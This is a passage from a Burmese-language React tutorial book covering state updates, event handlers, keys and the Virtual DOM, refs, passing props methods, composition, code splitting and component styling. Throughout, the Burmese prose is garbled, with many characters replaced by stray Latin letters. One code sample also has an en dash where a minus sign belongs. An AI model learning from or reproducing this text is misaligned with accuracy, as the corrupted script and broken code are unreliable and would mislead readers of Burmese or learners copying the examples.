dနာက်ကွယ်မှာ dလးနက်တဲ့ နည်းပညာသdzာသzာဝdတွ ရှိdနdပမယ့် လုိရင်း အနှစ်ချုပ်ကdတာ့ ဒါပါ
ပဲ။ အdရးကြကီးလုိ့ ထပ်dgပာပါဦးမယ်။ state     dgပာင်းရင်   Component   ရဲ့ doာ်gပပံု လုိက်dgပာင်းပါတယ်  ။

Step 8 – Changing state
state dgပာင်းရင် Component ရဲ့ doာ်gပပံုပါ လုိက်dgပာင်းပံုကို နမူနာ စမ်းeကည့်ရdအာင်။ ပထမဦးဆုံး
အdနနဲ့ App Class အတွက် add() Method dလးတစ်ခု အခုလုိ dရးdပးလုိက်ပါမယ်။
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 JavaScript/JSX 
add = () => {
    let id = this.state.items.length + 1;
    this.setState({
        items: [
            ...this.state.items,
            { id, name: `Item ${id}`, price: 0.01 * id  }
        ]
    });
}

state ကို gပင်o့ုိ setState() ကိုသုံးရgခင်း goစ်ပါတယ်။ dgပာင်းdစလိုတဲ့ တန်oုိးကို dပးရပါတယ်။ န
မူနာမှာ  items အတွက်  Array  တစ်ခုdပးထားပါတယ်။ နZို  state ထဲက  items dတွကို  Spread
Operator အကူအညီနဲ့ အရင်goန့်ထည့်လုိက် ပြပီးမှ dနာက်ကdန ထပ်တိုးလုိတဲ့ Data ကို ထပ်တိုးထားတာ
goစ်ပါတယ်။ ဒါdeကာင့် add() Method အလုပ်လုပ်တိုင်း  state ရဲ့  items မှာ အသစ်အသစ် တိုးdန
မှာ goစ်ပါတယ်။

add() ဟာ  Arrow Function  တစ်ခုgoစ်ပြပီး၊  Property Shorthand  dရးထံုးကို  ထည့်သံုးထားပါတယ်။
String  Interpolation  dရးထံုးကို  ထည့်သံုးထားတာလည်း  သတိgပုပါ။  ဒီdရးထံုးdတွဟာ  အdရးပါပါ
တယ်။ ဒီdရးထံုးdတွ  မdeကညက်ရင်  ကုဒ်နမူနာdတွက နားလည်ရ ခက်dနမှာပါ။  ဒါdeကာင့်  လုိအပ်ရင်
အခန်း (၁) ကို dသdသချာချာ အရင်gပန်dလ့လာထားdပးပါ။

တမင်ခွဲပြပီး ရှင်းgပချင်လ့ုိ add() ကုဒ်ကို အရင်gပတာပါ။ App Class ရဲ့ လက်ရှိ ကုဒ်အgပည့်အစုံက ဒီလုိပါ

 JavaScript/JSX  
class App extends React.Component {
    state = {
        items: [
            { id: 1, name: 'Apple', price: 0.99 },
            { id: 2, name: 'Orange', price: 0.89 },
        ]
    }
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    add = () => {
        let id = this.state.items.length + 1;
        this.setState({
            items: [
                ...this.state.items,
                { id, name: `Item ${id}`, price:  0.01 * id  }
            ]
        });
    }

    render() {
        return (
            <div>
                <h1>Hello React</h1>
                <ul>
                    {this.state.items.map(i => {
                    return (

<Item  
name={i.name} 
price={i.price} 

/>
)

                    })}
                </ul>
                <button onClick={this.add}>Add</button>
            </div>
        )
    }
}

render() Method  က  Return  gပန်dပးထားတဲ့  JSX  ထဲမှာ  <button> တစ်ခု  ပါဝင်လာပြပီး
onClick မှာ  add() ကို  Assign  လုပ်ထားတာကို  dတွ့ရမှာ  goစ်ပါတယ်။  Assign  လုပ်ထားတယ်လ့ုိ
dgပာတာကို သတိgပုပါ။  <button onClick={this.add()}> လ့ုိdရးရင်  React  က လက်မခံပါ
zူး။  Component  ကို  doာ်gပတိုင်း  အ့ဲဒီ  Method  က  Run  dနမှာ  မ့ုိလ့ုိပါ။  <button
onClick={this.add}> လ့ုိပဲ  dရးရပါတယ်။  ဒီdတာ့မှ  Component  ကိုdoာ်gပစဉ်မှာ  add()
Method ကို onClick အတွက် သတ်မှတ်ယံုပဲ သတ်မှတ်ပြပီး၊ Button ကို တစ်ကယ်နှိပ်လုိက်dတာ့မှ Run
dစမှာgoစ်ပါတယ်။ ဒါdလးက မျက်စိလည်ချင်စရာdလးမို့လ့ုိ ဒီစာပုိဒ်ကို dနာက်တစ်ခါ gပန်oတ်dပးပါ။

<button onClick="this.add"> လ့ုိ dရးလို့မရတာကိုလည်း သတိgပုပါ။ Quote အoွင့်အပိတ်နဲ့
မdရးပါzူး။ တွန့်ကွင်း အoွင့်အပိတ်နဲ့ dရးပါတယ်။ ဒါdလးလည်းအရမ်းမှားတတ်eကပါတယ်။ dနာက်ထပ်
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သတိgပုစရာက ရိုးရိုး HTML မှာ Case Insensitive မ့ုိလ့ုိ onclick, onClick ကြကိုက်သလုိ dရးလို့ ရပါ
တယ်။ JSX မှာ မရပါzူး။ onClick ပဲ goစ်ရပါတယ်။

ဒီကုဒ်ကို  စမ်းeကည့်တဲ့အခါ သတိထားeကည့်ပါ။  Button  ကို  နှိပ်လိုက်ရင် doာ်gပdနတဲ့  List  ထဲမှာ  Item
အသစ်တိုးလာတာကို dတွ့ရပါလိမ့်မယ်။ ကျွန်dတာ်တို့ dရးထားတဲ့ကုဒ်မှာ Item အသစ်တိုးပြပီး List ကို gပ
dပးလုိက်ပါဆိုတဲ့ကုဒ်  မပါဝင်ပါzူး။  state မှာ  dgပာင်းလုိက်/တိုးလုိက်တဲ့  ကုဒ်ပဲပါပါတယ်။  state
dgပာင်းသွားလ့ုိ dgပာင်းသွားတဲ့ Data နဲ့အညီ React က အလိုအdလျှာက် gပdပးသွားgခင်းပဲ goစ်ပါတယ်။

Step 9 – key Property and Virtual DOM
အခုလက်ရှိdရးထားတဲ့ကုဒ်ကို Browser မှာစမ်းeကည့်တဲ့အခါ Console ကို oွင့်eကည့်ပါ။ အခုလုိ Warning
ကို dတွ့ရနိုင်ပါတယ်။

zာအဓိပ္ပါယ်လည်းဆိုdတာ့၊  Array ကို  Loop လုပ်ပြပီး Component ကို doာ်gပdစတဲ့အခါ key Property
ပါဝင်သင့်ပါတယ်လ့ုိ dgပာထားတာပါ။ zာdeကာင့်လဲဆိုတာကို  ရှင်းgပo့ုိအတွက်  Virtual DOM  လ့ုိdခါ်တဲ့
နည်းစနစ်အdeကာင်း နည်းနည်းdgပာo့ုိလုိပါတယ်။
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Item (၅)  ခုပါတဲ့  List  တစ်ခု ရှိတယ် ဆိုeကပါစို့။ အရင်တုံးက စနစ်dတွမှာ  Item အသစ်တစ်ခု တိုးလုိက်
တယ်ဆိုတာ တစ်ကယ်dတာ့  Item (၆)  ခုပါတဲ့  List  တစ်ခုနဲ့  နZို  Item (၅)  ခုပါတဲ့  List  ကို  အစားထိုး
ပစ်လုိက်eကတာပါ။  ဆိုလုိတာက  တစ်ခုခုgပင်လိုက်ရင်  gပင်တဲ့dနရာတင်  dgပာင်းတာ  မဟုတ်zဲ
Component UI   တစ်ခုလံုး dgပာင်းသွားတဲ့သdzာ   ရှိပါတယ်။

Virtual DOM ရဲ့ အလုပ်လုပ်ပံုကdတာ့၊ Item (၅) ခုပါတဲ့ List ရဲ့ Browser dပါ်မှာ doာ်gပတဲ့ DOM Tree နဲ့
ပံုစံတူ  Object  တစ်ခုထုတ်ထားလုိက်တယ်။ အသစ်တစ်ခုတိုးလိုက်လ့ုိ  doာ်gပပံု  dgပာင်းရdတာ့မယ်ဆိုရင်
dgပာင်းရမယ့်  DOM Tree  နဲ့ ပံုစံတူ  Object  တစ်ခု ထပ်ထုတ်တယ်။ အ့ဲဒီနှစ်ခု zယ်dနရာမှာ zာကွာလဲ
တိုက်စစ်တယ်။  ပြပီးdတာ့မှ  ကွာသွားတဲ့  dနရာdလးdတွပဲ  dရွးပြပီးdတာ့  တစ်ကယ့်    Browser    မှာ  gပင်  
dပးလုိက်တဲ့စနစ် မျ ို းပါ။ ဆိုလုိတာက လုပ်စရာရှိတဲ့အလုပ်dတွကို  Browser  dပါ်မှာ တိုက်ရိုက် မလုပ်zဲ
JavaScript မှာပဲ အလုပ်လုပ်လုိက်တာ goစ်သွားလ့ုိ ပုိgမန်သွားမှာ goစ်ပါတယ်။
ဒီထက်ပုိရှင်းချင်ရင်dတာ့ အရင်ကသံုးခဲ့eကတဲ့  Template System dတွအdeကာင်းနဲ့  Browser DOM Re-
rendering  ရဲ့  dနှးdကွးပံုတို့ကို  dgပာရမှာပါ။  ထံုးစံအတိုင်း  ဒီdနရာမှာ  အ့ဲဒီdလာက်  အကျယ်မချဲ့ပါzူး။
လုိရင်းကိုပဲ မှတ်ထားလုိက်ပါ။

map() နဲ့ Loop ပါတ်ပြပီး doာ်gပထားတဲ့ ကုဒ်ကို ဒီလုိ gပင်dပးရမှာပါ။

 JavaScript/JSX 
<ul>
    {this.state.items.map(i => {

return (
<Item 

key={i.id} 
name={i.name} 
price={i.price}

/>
)

    })}
</ul>

ဒီနည်းနဲ့  key Property  ပါဝင်သွားသလုိ့ သ့ူရဲ့  တန်oုိးကလည်း  Unique  goစ်သွားပါတယ်။ အ့ဲဒီလုိ  key
Property  သာမပါခဲ့ရင်  React  က  Virtual  DOM  လုပ်dဆာင်ချက်ကို  အသံုးgပုdပးနိုင်မှာ  မဟုတ်zဲ၊
တစ်ခုခု  အdgပာင်းအလဲရှိခဲရ့င်  Item  အားလံုးကို  အစအဆုံး  တစ်dခါက်gပန်doာ်gပdစမှာ goစ်ပါတယ်။ ဒါ
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deကာင့် ဒီ key dလးထည့်လိုက်တာနဲ့ List dတရွဲ့ အလုပ်လုပ်ပံု ပုိgမန်သွားမှာပဲ goစ်ပါတယ်။

Step 10 – Input
ဆက်လက်ပြပီး  React  မှာ  Input  dတွ  စီမံပံုအdeကာင်းကို  dgပာပါမယ်။  React  ကိုအသံုးgပုတဲ့  အခါမှာ
HTML Element dတွကို တိုက်ရိုက်စီမံgခင်း မgပုရပါzူး။ ဒါdပမယ့် Input dတွကdတာ့ ခြွခင်းချက်နဲ့ လုိအပ်
တဲ့အခါ တိုက်ရိုက်စီမံရပါတယ်။ ဒီလုိကိစ္စမျ ို းအတွက် React မှာ ref လ့ုိdခါ်တဲ့ နည်းပညာတစ်ခု ပါဝင်ပါ
တယ်။ ဒီကုဒ် သံုးdeကာင်းကို သီးgခားအရင် dလ့လာeကည့်ပါ။

 JavaScript/JSX 
nameRef = React.createRef();
<input type="text" ref={this.nameRef} />
let name = this.nameRef.current.value;

ပထမတစ်deကာင်းက  React.createRef() ကိုအသံုးgပုပြပီး  nameRef ကို  တည်dဆာက်ပါတယ်။
dနာက်တစ်deကာင်းမှာ <input /> Element ရဲ့  ref dနရာမှာ တည်dဆာက်ထားတဲ့  nameRef ကို
dပးလုိက်ပါတယ်။ <input> = nameRef လ့ုိ ညွှန်းdပးလိုက်တဲ့ သdzာမျ ို းပါ။ ဒီလိုညွှန်းပြပီးပြပီဆိုရင်
nameRef ကို အသံုးgပုပြပီး  <input> ကို စီမံလို့ရသွားပါပြပီ။ dနာက်ဆုံးတစ်deကာင်းက nameRef ကို
အသံုးgပုပြပီး <input> ရဲ့ value ကို ယူလိုက်တာပါ။ ဒီနည်းနဲ့ React မှာ Input dတွကို စီမံပါတယ်။ dရး
လက်စကုဒ်မှာ ဒီနည်းကို အခုလုိ ထည့်သွင်း အသံုးgပုလိုက်ပါ။

 JavaScript/JSX 
class App extends React.Component {
    state = {
        items: [
            { id: 1, name: 'Apple', price: 0.99 },
            { id: 2, name: 'Orange', price: 0.89 },
        ]
    }

    nameRef = React.createRef();
    priceRef = React.createRef();
    add = () => {
        let id = this.state.items.length + 1;
        let name = this.nameRef.current.value;
        let price = this.priceRef.current.value;
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        this.setState({
            items: [
                ...this.state.items,
                { id, name, price }
            ]
        });
    }

    render() {
        return (
            <div>
                <h1>Hello React</h1>
                <ul>
                    {this.state.items.map(i => {
                        return (
                            <Item id={i.id} name={i.name} price={i.price} />
                        )
                    })}
                </ul>
                <input type="text" ref={this.nameRef} /><br />
                <input type="text" ref={this.priceRef} /><br />
                <button onClick={this.add}>Add</button>
            </div>
        )
    }
}

render() ရဲ့  Return gပန်dပးတဲ့  JSX မှာ <input> Element နှစ်ခု ထည့်သွင်းdပးပြပီး  nameRef နဲ့
priceRef တို့ကို အသံုးgပုထားပါတယ်။ ပြပီးတဲ့အခါ add() Function မှာ အ့ဲဒီ Input dတွမှာ dရးgoည့်
ထားတဲ့ တန်oုိးကို ယူပြပီး အသံုးgပုသွားgခင်းပဲ goစ်ပါတယ်။

dတာ်dတာ်gပည့်စုံdနပါပြပီ။ React ရဲ့ အdgခခံသdzာသzာဝdတွလည်း စုံသdလာက် ရိှdနပါပြပီ။ ကျန်ရှိdန
တဲ့ အdeကာင်းအရာdတွကို dနာကတ်စ်ခန်း ခွဲပြပီးdတာ့ ဆက်dလ့လာသွားeကရdအာင်ပါ။

ဒီအခန်းမှာdoာ်gပခဲ့တဲ့ ကုဒ်dတွအပါအဝင် ဒီအပုိင်းမှာ နမူနာ doာ်gပထားတဲ့ ကုဒ်dတွအားလံုးကို dအာက်
ကလိပ်စာမှာ Download ရယူနိုင်ပါတယ်။

- https://github.com/eimg/react-book

https://github.com/eimg/react-book
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အခန်း (၅၅) – React Data Flow

ပြပီးခဲ့တဲ့အခန်းမှာ  props နဲ့  state အdeကာင်း  dလ့လာခဲ့eကပါတယ်။  ဒီအdeကာင်းအရာdတွနဲ့  ပက်
သက်ရင် သတိgပုရမယ့် အdရးကြကီးတဲ့ အချက် (၅) ချက် ရိှပါတယ်။ နည်းနည်း dခါင်းရှုပ်စရာdလးdတွ မ့ုိ
လ့ုိ dသချာ Zရုစိုက်oတ်eကည့်dပးပါ။ လုိအပ်ရင် နှစ်ခါသုံးခါ gပန်oတ်ပါ။

၁။ props     ဟာ   Read-only   goစ်ပါတယ်  ။ Component dတွဟာ props Data dတွကို 
အသံုးgပုလို့ ရပါတယ်။ gပင်လို့ dgပာင်းလို့မရပါzူး။

၂။ state ကdတာ့ gပင်လို့ dgပာင်းလို့ ရပါတယ်။ state Data dgပာင်းရင် Component 
doာ်gပပုံ အလုိအdလျှာက် dgပာင်းလဲပုံကို dလ့လာခဲ့eကပြပီး goစ်ပါတယ်။

၃။ Data   ဟာ   Parent to Child   gမင့်ရာကdန နိမ့်ရာကိုပဲ စီးဆင်းပါတယ်  ။ နိမ့်ရာကdန gမင့်
ရာကို dgပာင်းgပန်စီးဆင်းgခင်း မရှိပါzူး။ ပြပီးခဲ့တဲ့ နမူနာအရဆိရုင် Parent Component
goစ်တဲ့ App က Data dတွကို props အgoစ်နဲ့ Child Component goစ်တဲ့ Item ကို 
dပးလ့ုိ ရပါတယ်။ ဒါdပမယ့် Item Component က App Component ကို Data dတွ 
gပန်dပးလ့ုိ မရပါzူး။

၄။ Data   ဟာ အဆင့်ဆင့်ပဲ လက်ဆင့်ကမ်းပြပီး သွားလ့ုိရပါတယ်။ အဆင့်dကျာ်လ့ုိ မရပါzူး  ။
ဥပမာ - App  List  Item → → ဆိုပြပီး အဆင့်ဆင့် ရိှတယ်ဆိုရင် App က Item ကို အဆင့်
dကျာ်ပြပီး Data dပးလ့ုိမရပါzူး။ App က List ကို dပးရပါတယ်။ List က လက်ဆင့်ကမ်း
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ပြပီးdတာ့ Item ကို dပးလို့ပဲရပါတယ်။ ဒီသdzာသzာဝကို မeကာခင် လက်dတွ့ စမ်း
eကည့်ပါမယ်။ အဆင့်dကျာ်ပြပီး ရdအာင်dပးတဲ့ နည်းလည်း ရှိdတာရ့ှိပါdတာ့။ ဒါကိုdတာ့
dနာက်တစ်ခန်းသပ်သပ်နဲ့ သီးgခား dလ့လာပါမယ်။

၅။ Child Component က Parent Component ရဲ့ Data ကို props Method dတွသံုးပြပီး
စီမံလ့ုိ ရပါတယ်။ ဒါကိုdတာ့ အခုပဲ လက်dတွ့eကည့်eကပါမယ်။ ဆက်eကည့်လုိက်ပါ။

props Methods
ပြပီးခဲ့တဲ့နမူနာမှာ dရးခဲ့တဲ့ ကုဒ်မှာ Input dတွ Button dတွကို သီးgခား Component အgoစ် ခွဲထုတ်လုိက်
ပါမယ်။ ဒီလို dရးရမှာပါ။

 JavaScript/JSX 
class AddForm extends React.Component {
    nameRef = React.createRef();
    priceRef = React.createRef();
    render() {
        return (
            <div>
                <input type="text" ref={this.nameRef} /><br />
                <input type="text" ref={this.priceRef} /><br />
                <button onClick={this.add}>Add</button>
            </div>
        )
    }
}

App Component က ဒီအသစ်တည်dဆာက်လုိက်တဲ့ AddForm ကို ယူသံုးမှာပါ။ gပဿနာက AddForm
မှာပါတဲ့ <button> ရဲ့ onClick ကို သတိgပုeကည့်ပါ။ add() Method ကို အသံုးgပုထားပါတယ်။ သူ့
မှာ  add() Method  မရှိပါzူး။  မရှိလ့ုိ  dရးလုိက်မယ်ဆိုရင်လည်း  အဆင်မdgပdသးပါzူး။  add()
Method ဆိုတာ state  items → မှာ Data အသစ် တိုးdပးရတာပါ။ သ့ူမှာ state လည်း မရှိပါzူး။ state →
items အမှန်တကယ် ရှိdနတာက App Component မှာပါ။ dသချာစဉ်းစားeကည့်ပါ။ Child Component
goစ်တဲ့  AddForm က  Parent  Component  goစ်တဲ့  App ရဲ့  state ကို  စီမံoို့  လုိအပ်dနတာပါ။  ဒီ
gပဿနာကို dgoရှင်းလ့ုိရပါတယ်။ App Component ရဲ့ ကုဒ်ကို အခုလုိ gပင်dပးရမှာပါ။
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 JavaScript/JSX 
class App extends React.Component {
    state = {
        items: [
            { id: 1, name: 'Apple', price: 0.99 },
            { id: 2, name: 'Orange', price: 0.89 },
        ]
    }

    add = (name, price) => {
        let id = this.state.items.length + 1;
        this.setState({
            items: [
                ...this.state.items,
                { id, name, price }
            ]
        });
    }

    render() {
        return (
            <div>
                <h1>Hello React</h1>
                <ul>
                    {this.state.items.map(i => {
                        return (
                            <Item
                                id={i.id}
                                name={i.name}
                                price={i.price} 
                            />
                        )
                    })}
                </ul>
                <AddForm add={this.add} />
            </div>
        )
    }
}

ပထမဆုံး  add() Method  ကိုdလ့လာeကည့်ပါ။  Input  စီမံတဲ့ကုဒ်dတွ  မပါdတာ့ပါzူး။  Parameter
အdနနဲ့  name နဲ့  price တို့ကို  လက်ခံပြပီး အလုပ်လုပ်ထားပါတယ်။ dနာက်ထပ် သတိgပုရမှာကdတာ့
<AddForm> ကို  အသံုးgပုပံုပါ။  add Property  အdနနဲ့  သူရဲ့  add() Method  ကို  ထည့်dပးထားပါ
တယ်။ ဒါdeကာင့် AddForm က App ရဲ့ add() Method ကို add props ကdနတစ်ဆင့် အသုံးgပုလ့ုိ ရ
သွားပါပြပီ။ AddFrom ရဲ့ ကုဒ် အgပည့်အစုံက ဒီလုိgoစ်မှာပါ။
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 JavaScript/JSX 
class AddForm extends React.Component {
    nameRef = React.createRef();
    priceRef = React.createRef();
    add = () => {
        let name = this.nameRef.current.value;
        let price = this.priceRef.current.value;
        this.props.add(name, price);
    }

    render() {
        return (
            <div>
                <input type="text" ref={this.nameRef} /><br />
                <input type="text" ref={this.priceRef} /><br />
                <button onClick={this.add}>Add</button>
            </div>
        )
    }
}

အခုdတာ့  AddForm မှာလည်း  add() Method  ရိှသွားပါပြပီ။  dသချာZရုစိုက်eကည့်ပါ။  သူက
this.props.add() ကို သံုးထားတယ်ဆိုတာ dတွ့ ရပါလိမ့်မယ်။ gပည့်စုံပါပြပီ။ ဒီအတိုင်းစမ်းeကည့်ရင်
အလုပ်လုပ်ပါတယ်။  ဒီနည်းနဲ့  Parent  Component  က  Method  dတွကို  props  အdနနဲ့  Child
Component ကို dပးလ့ုိရပါတယ္။ Child Component က လက်ခံရရှိတဲ့  props Method ကdနတစ်ဆင့်
Parent Component ရဲ့ state ကို လှမ်းစီမံလ့ုိ ရသွားပါတယ်။

ဒီသdzာသzာဝကို dကာင်းdကာင်းနားလည်ပြပီဆိုရင် React ကို အdတာ်dလး ပုိင်နိုင်သွားပြပီလ့ုိ dgပာလ့ုိ
ရနိုင်ပါတယ်။
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props Waterfall
dနာက်ထပ်dလ့လာမှာကdတာ့ ဟိုးအdပါ်က နံပါတ် (၄) မှာ dgပာထားတဲ့ props ရဲ့ အဆင့်လုိက် စီးဆင်း
ပံုကို dလ့လာeကမှာပါ။ dပးထားတဲ့ကုဒ်ကို dလ့လာeကည့်ပါ။ dအာက်ကdနအdပါ်ကို dgပာင်းgပန်eကည့်ပါ။

 JavaScript/JSX 
class Title extends React.Component {
    render() {
        return  <h1>{this.props.name}</h1>;
    }
}

class Header extends React.Component {
    render() {
        return (
            <div>
                <Title name={this.props.name} />
            </div>
        )
    }
}

class App extends React.Component {
    render() {
        return (
            <div>
                <Header name="App Title" />
                ...
            </div>
        )
    }
}

Component (၃) ခုပါဝင်ပါတယ်။ App, Header နဲ့ Title တို့ပါ။ App က Header ကို အသံုးgပုပြပီး Header
က  Title  ကို  အသံုးgပုထားလုိ့  သူတို့ရဲ့  ဆက်စပ်မှုက  App  Header  Title  → → goစ်ပါတယ်။  Title  မှာ
အသံုးgပုရမယ့်  name ကို  App  က တစ်ဆင့်dကျာ်ပြပီး  Title  ကို  လှမ်းdပးလ့ုိ မရတဲ့အတွက်  App  ကdန
Header ကို dပးပါတယ်။ Header ကdနမှ Title ကို dပးထားတာကို သတိgပုeကည့်ရမှာပဲ goစ်ပါတယ်။

React Component မှာ props Data dတဟွာ အခုလုိ တစ်ဆင့်ချင်းစီသာ အဆင့်ဆင့် လက်ဆင်ကမ်းပြပီး
dပးသွားရပါတယ်။ အဆင့်dကျာ်လ့ုိ မရပါzူး။ အဆင့်dကျာ်ချင်ရင် Context လုိ နည်းပညာမျ ို းကို သံုးရပါ
တယ်။ ဒီအdeကာင်ကိုdတာ့ သီးgခား အခန်းတစ်ခန်းနဲ့ doာ်gပdပးသွားမှာပဲ goစ်ပါတယ်။
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အခန်း (၅၆) – React Composition and Code Splitting

Component Composition ဆိုတာ Component dတွကို လုိတဲ့dနရာက dခါ်ယူ အသံုးgပုနိုင်ယံုသာမက
dပါင်းစပ်ပြပီးdတာ့ပါ အသံုးgပုနိုင်တယ်ဆိုတဲ့ သdzာသzာဝပါ။ ဒီကုဒ်ကို dလ့လာeကည့်ပါ။

 JavaScript/JSX 
class Toolbar extends React.Component {
    render() {
        return (
            <div style={{ background: 'cyan', padding: 10 }}>
                {this.props.children}
            </div>
        );
    }
}

class App extends React.Component {
    render() {
        return (
            <div>
                <Toolbar>
                    <h1>Hello React</h1>
                    <h2>Component composition</h2>
                </Toolbar>
            </div>
        )
    }
}

နမူနာမှာ  Toolbar  Component  ကို  App  က  dခါ်သံုးထားပါတယ်။  ဒီအတိုင်းသံုးတာ  မဟုတ်ပါzူး။
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Toolbar  Component  အတွင်းမှာ  ရိှရမယ့်  Element  dတွကို  ထည့်သွင်း  သတ်မှတ်dပးထားတာကို
သတိgပုပါ။ Toolbar Component dရးထားပံုကို gပန်dလ့လာပါ။ props.children လ့ုိdခါ်တဲ့ အထူး
တန်oုိးတစ်ခုကို  အသံုးgပုပြပီး  dပါင်းစပ်သုံးoုိ့  dပးလာတဲ့  Element  dတွကို  အသံုးgပု  doာ်gပထားတာကို
dတွ့ရမှာ goစ်ပါတယ်။ ရလဒ်က ဒီလိုgoစ်မှာပါ -

ဒီနည်းနဲ့  React  မှာ  Component  dတွကို  dပါင်းစပ်  အသံုးgပုနိုင်ပါတယ်။  လက်dတွ့ပdရာZျက်dတွမှာ
ကုဒ်dတရွဲ့oွဲ့စည်းပံုက ဒီလုိမျ ို း goစ်နိုင်ပါတယ်။

 JavaScript/JSX 
<Toolbar>

<Logo image="/path/to/image" />
<Title>

<Heading>App Title</Heading>
<SubHeading>App Tag Line</SubHeading>

</Title>
<Menu>

<MenuItem value="Home" />
<MenuItem value="Users" />

</Menu>
</Toolbar>
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Code Splitting
အခုနမူနာdတွမှာ ကုဒ်အားလံုးကို App.js တစ်oုိင်ထဲမှာ အကုန်စုdရးထားတာပါ။ ဒီလုိအကုန်စုdရးမယ့်
အစား  လက်dတွ့မှာ  Component  တစ်ခုကို  oုိင်တစ်ခုနဲ့  ခွဲdရးသင့်ပါတယ်။  ခွdဲရးပံုdရးနည်းက
အသစ်အဆန်းdတာ့  မဟုတ်ပါzူး။  ES6  Module  dရးထံုးကိုပဲ  အသံုးgပုရမှာ  goစ်ပါတယ်။  ဥပမာ  -
Toolbar Component ကုဒ်dတွကို Toolbar.js ထဲမှာ အခုလုိ dရးလို့ရနိုင်ပါတယ်။

 JavaScript/JSX 
import React from 'react';
class Toolbar extends React.Component {
    render() {
        return (
            <div style={{ background: 'cyan', padding: 10 }}>
                {this.props.children}
            </div>
        );
    }
}

export default Toolbar;

dနာက်ဆုံးမှာ  Toolbar  ကို  Export  လုပ်dပးထားတာdလး မdမ့ပါနဲ့။  တgခား သတိgပုစရာdတွ အdနနဲ့
Component    ရဲ့အမည်ကို    Capital  Case    နဲ့  dပးရတယ်   ဆိုတဲ့  အချက်နဲ့  Component    oုိင်အမည်ဟာ  
Component   အမည်နဲ့ တူသင့်တယ်   ဆိုတဲ့ အချက်ပါပဲ။ မတူလည်း zာမှdတာ့ မgoစ်ပါzူး။ ဒါdပမယ့် တူ
dအာင်dပးမှသာ  Consistence  goစ်မှာပါ။ ဒီလုိ oုိင်ခွဲdရးထားတဲ့  Component  ကို  App.js မှာ အခုလုိ
dခါ်သုံးနိုင်ပါတယ်။

 JavaScript/JSX 
import React from 'react';
import Toolbar from './Toolbar';
class App extends React.Component {
    render() {
        return (
            <div>
                <Toolbar>
                    <h1>Hello React</h1>
                    <h2>Component composition</h2>
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                </Toolbar>
            </div>
        )
    }
}

export default App;

Toolbar  ကို  Import  လုပ်ပြပီး  ဆက်သံုးသွားယုံပါပဲ။  Import  လုပ်တဲ့အခါ  အမည်ကို  တgခားအမည်နဲ့
dgပာင်းdပးမယ်ဆိုလည်း ရနိုင်ပါတယ်။ ဥပမာ -

 JavaScript/JSX 
import MyBar from './Toolbar';

ဒါဆိုရင် အသံုးgပုတဲ့အခါ <MyBar> လ့ုိ သံုးdပးရမှာပါ။ ရတယ်လ့ုိdgပာတာပါ၊ dကာင်းတာdတာ့ သ့ူမူရင်း
Component အမည်အတိုင်း အသံုးgပုနိုင်ရင် အdကာင်းဆုံးပါပဲ။
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အခန်း (၅၇) – React Component Style

React Component  dတွရဲ့  Style  အတွက် နည်းပညာအမျ ို းမျ ို း  ရှိပါတယ်။  CSS Module, CSS in JS,
Styled  Component  စသgoင့်  ရှိeကပါတယ်။  CSS  Module  လုပ်dဆာင်ချက်ကdတာ့  ပdရာZျက်ထဲမှာ
ပါဝင်ပြပီးသားပါ။ ဥပမာ - Toolbar.css အမည်နဲ့ အခုလုိ dရးထားတယ်ဆိုeကပါစို့ -

 CSS 
.toolbar {

background: cyan;
padding: 10;

}

ဒီ  CSS  ကုဒ်oုိင်ကို  Module  တစ်ခုလုိ  သdzာထားပြပီး  ES6  Import  နဲ့  Import  လုပ်ယူလို့  ရပါတယ်။
Toolbar.js ရဲ့ကုဒ်က ဒီလုိgoစ်သွားမှာပါ။

 JavaScript/JSX 
import React from 'react';
import './Toolbar.css';
class Toolbar extends React.Component {
    render() {
        return (
            <div className="toolbar">
                {this.props.children}
            </div>
        );
    }
}

export default Toolbar;
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CSS oုိင်ကို တုိက်ရိုက် Import လုပ်ထားတာကို dတွ့ရမှာ goစ်ပါတယ်။ သတိgပုစရာကdတာ့ ရိုးရိုး HTML
မှာလုိ Element Class အတွက် class Attribute ကိုdတာ့ သံုးလ့ုိ မရပါzူး။ className လ့ုိ သံုးdပးရ
ပါတယ်။ id နဲ့ တgခား Attribute ကိုdတာ့ ရိုးရိုး HTML မှာလုိပဲ သံုးလ့ုိရပါတယ်။

CSS in JS
CSS in JS  နည်းပညာကလည်း ပdရာZျက်ထဲမှာ ပါပြပီးသားပါပဲ။  dရးနည်း  (၂)  နည်းနဲ့  dရးနိုင်ပါတယ်။
ပထမနည်းကdတာ့ Inline Style ကို အသံုးgပုgခင်းgoစ်ပါတယ်။ ဒီလိုပါ - 

 JavaScript/JSX 
render() {
    return (
        <div style={{ background: 'cyan', padding: 10 }}>
            {this.props.children}
        </div>
    );
}

style Attribute ကိုသုံးပြပီးdတာ့ CSS Style dတွကို JSON အdနနဲ့ dပးလုိက်တာပါ။ တွန့်ကွင်း နှစ်ထပ်
ဆိုတာသတိgပုပါ။ ပထမတွန့်ကွင်းက JSX ကို JavaScript Expression goစ်deကာင်းသိdစပြပီး ဒုတိယတွန့်
ကွင်းက JSON အတွက်ပါ။ 

CSS Style Code dတွ dရးတဲ့အခါ ရိုးရိုး  CSS  dရထံုးအတိုင်း dရးယံုပါပဲ။ ခြွခင်းချက်dတွရှိdပမယ့် အများ
ကြကီးdခါင်းစားခံပြပီး မှတ်မdနပါနဲ့ဦး။ သံုးခုမှတ်ထားရင် ရပါပြပီ။ CSS Property   dတွကို   Camel Case   နဲ့ dရး  
ရပါတယ်။   px   Unit    dတွ ထည့်dရးစရာ မလုိပါzူး။    JSON Format   နဲ့ dရးရတာgoစ်လ့ုိ    Style Property  
တစ်ခုနဲ့တစ်ခုကို ရိုးရိုး   CSS   မှာလုိ   Semi-colon   နဲ့ မgခားzဲ   Comma   နဲ့ gခားdပးရတယ်   ဆိုတဲ့အချက်dတွ
မှတ်ထားရင် ရပါပြပီ။ ဥပမာ ဒီလိုပါ -
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 JavaScript/JSX 
render() {
    let parent = 200;
    let height = 150;
    return (
        <div style={{ marginBottom: parent – height, 

border: '1px solid red' }}>
            {this.props.children}
        </div>
    );
} 

CSS မှာ margin-bottom လ့ုိdရးdပမယ့် CSS in JS မှာ marginBottom လ့ုိdရးပါတယ်။ px Unit
ထည့်စရာ မလုိတဲ့အတွက်  လုိအပ်ရင် တန်oုိးdတွကို  dပါင်းနှုတ်dgမှာက်စား  လုပ်လ့ုိရပါတယ်။  border
အတွက်dတာ့  1px solid red လ့ုိ  dပးထားပါတယ်။  px Unit  ထည့်dပးထားပါတယ်။ dပးလ့ုိရပါ
